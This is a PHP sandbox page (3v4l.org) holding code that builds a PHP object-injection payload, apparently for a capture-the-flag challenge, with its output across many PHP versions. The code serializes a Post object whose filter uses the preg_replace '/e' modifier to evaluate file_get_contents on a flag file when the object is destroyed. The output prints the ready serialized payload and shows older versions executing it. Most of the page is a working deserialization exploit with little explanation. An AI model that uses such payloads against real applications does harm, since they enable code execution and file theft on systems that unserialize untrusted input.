3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php class Filter { protected $pattern; protected $repl; function __construct($pattern, $repl) { $this->pattern = $pattern; $this->repl = $repl; } function filter($data) { return preg_replace($this->pattern, $this->repl, $data); } function __destruct(){ echo "BYE BITCH\n"; } }; class Post { protected $title; protected $text; protected $filters; function __construct($title, $text, $filters) { $this->title = $title; $this->text = $text; $this->filters = $filters; } function get_title() { return htmlspecialchars($this->title); } function display_post() { $text = htmlspecialchars($this->text); foreach ($this->filters as $filter) $text = $filter->filter($text); return $text; } function __destruct() { // debugging stuff $s = "<!-- POST " . htmlspecialchars($this->title); $text = htmlspecialchars($this->text); echo 'WOAH ITS A FILTER '.'"'.$this->filters.'"'; foreach ($this->filters as $filter) $text = $filter->filter($text); $s = $s . ": " . $text; $s = $s . " -->"; echo $s; } }; $standard_filter_set = [new Filter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>"), new Filter("/\[b\](.*)\[\/b\]/i", "<b>\\1</b>"), new Filter("/\[img\](.*)\[\/img\]/i", "<img src='\\1'>"), new Filter("/\[br\]/i", "<br>")]; echo json_encode(serialize(new Post("a", "br", [new Filter("/./e", "file_get_contents('/home/daedalus/flag.txt')"), new Filter("/moni/", "i repor u")])));
based on cVB79
Output for 7.0.0 - 7.1.0
Notice: Array to string conversion in /in/rXYWk on line 43 WOAH ITS A FILTER "Array" Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/rXYWk on line 11 <!-- POST a: -->BYE BITCH BYE BITCH "O:4:\"Post\":3:{s:8:\"\u0000*\u0000title\";s:1:\"a\";s:7:\"\u0000*\u0000text\";s:2:\"br\";s:10:\"\u0000*\u0000filters\";a:2:{i:0;O:6:\"Filter\":2:{s:10:\"\u0000*\u0000pattern\";s:4:\"\/.\/e\";s:7:\"\u0000*\u0000repl\";s:44:\"file_get_contents('\/home\/daedalus\/flag.txt')\";}i:1;O:6:\"Filter\":2:{s:10:\"\u0000*\u0000pattern\";s:6:\"\/moni\/\";s:7:\"\u0000*\u0000repl\";s:9:\"i repor u\";}}}"BYE BITCH BYE BITCH BYE BITCH BYE BITCH
Output for hhvm-3.10.0 - 3.12.0
Notice: Array to string conversion in /in/rXYWk on line 43 WOAH ITS A FILTER "Array" Warning: No such file or directory Warning: No such file or directory <!-- POST a: -->BYE BITCH BYE BITCH "O:4:\"Post\":3:{s:8:\"\u0000*\u0000title\";s:1:\"a\";s:7:\"\u0000*\u0000text\";s:2:\"br\";s:10:\"\u0000*\u0000filters\";a:2:{i:0;O:6:\"Filter\":2:{s:10:\"\u0000*\u0000pattern\";s:4:\"\/.\/e\";s:7:\"\u0000*\u0000repl\";s:44:\"file_get_contents('\/home\/daedalus\/flag.txt')\";}i:1;O:6:\"Filter\":2:{s:10:\"\u0000*\u0000pattern\";s:6:\"\/moni\/\";s:7:\"\u0000*\u0000repl\";s:9:\"i repor u\";}}}"BYE BITCH BYE BITCH BYE BITCH BYE BITCH
Output for 5.5.0 - 5.6.28
Notice: Array to string conversion in /in/rXYWk on line 43 WOAH ITS A FILTER "Array" Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in /in/rXYWk on line 11 Warning: file_get_contents(/home/daedalus/flag.txt): failed to open stream: No such file or directory in /in/rXYWk(11) : regexp code on line 1 Warning: file_get_contents(/home/daedalus/flag.txt): failed to open stream: No such file or directory in /in/rXYWk(11) : regexp code on line 1 <!-- POST a: -->BYE BITCH BYE BITCH "O:4:\"Post\":3:{s:8:\"\u0000*\u0000title\";s:1:\"a\";s:7:\"\u0000*\u0000text\";s:2:\"br\";s:10:\"\u0000*\u0000filters\";a:2:{i:0;O:6:\"Filter\":2:{s:10:\"\u0000*\u0000pattern\";s:4:\"\/.\/e\";s:7:\"\u0000*\u0000repl\";s:44:\"file_get_contents('\/home\/daedalus\/flag.txt')\";}i:1;O:6:\"Filter\":2:{s:10:\"\u0000*\u0000pattern\";s:6:\"\/moni\/\";s:7:\"\u0000*\u0000repl\";s:9:\"i repor u\";}}}"BYE BITCH BYE BITCH BYE BITCH BYE BITCH
Output for 5.4.0 - 5.4.45
Notice: Array to string conversion in /in/rXYWk on line 43 WOAH ITS A FILTER "Array" Warning: file_get_contents(/home/daedalus/flag.txt): failed to open stream: No such file or directory in /in/rXYWk(11) : regexp code on line 1 Warning: file_get_contents(/home/daedalus/flag.txt): failed to open stream: No such file or directory in /in/rXYWk(11) : regexp code on line 1 <!-- POST a: -->BYE BITCH BYE BITCH "O:4:\"Post\":3:{s:8:\"\u0000*\u0000title\";s:1:\"a\";s:7:\"\u0000*\u0000text\";s:2:\"br\";s:10:\"\u0000*\u0000filters\";a:2:{i:0;O:6:\"Filter\":2:{s:10:\"\u0000*\u0000pattern\";s:4:\"\/.\/e\";s:7:\"\u0000*\u0000repl\";s:44:\"file_get_contents('\/home\/daedalus\/flag.txt')\";}i:1;O:6:\"Filter\":2:{s:10:\"\u0000*\u0000pattern\";s:6:\"\/moni\/\";s:7:\"\u0000*\u0000repl\";s:9:\"i repor u\";}}}"BYE BITCH BYE BITCH BYE BITCH BYE BITCH
Output for 5.2.14 - 5.2.17, 5.3.3 - 5.3.29
Parse error: syntax error, unexpected '[' in /in/rXYWk on line 52
Process exited with code 255.
Output for 5.1.0 - 5.2.13, 5.3.0 - 5.3.2
Strict Standards: Redefining already defined constructor for class Filter in /in/rXYWk on line 10 Parse error: syntax error, unexpected '[' in /in/rXYWk on line 52
Process exited with code 255.
Output for 5.0.0 - 5.0.5
Strict Standards: Redefining already defined constructor for class Filter in /in/rXYWk on line 10 Parse error: parse error, unexpected '[' in /in/rXYWk on line 52
Process exited with code 255.
Output for 4.4.2 - 4.4.9
Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /in/rXYWk on line 4
Process exited with code 255.
Output for 4.3.0 - 4.3.1, 4.3.5 - 4.4.1
Parse error: parse error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /in/rXYWk on line 4
Process exited with code 255.
Output for 4.3.2 - 4.3.4
Parse error: parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or `'}'' in /in/rXYWk on line 4
Process exited with code 255.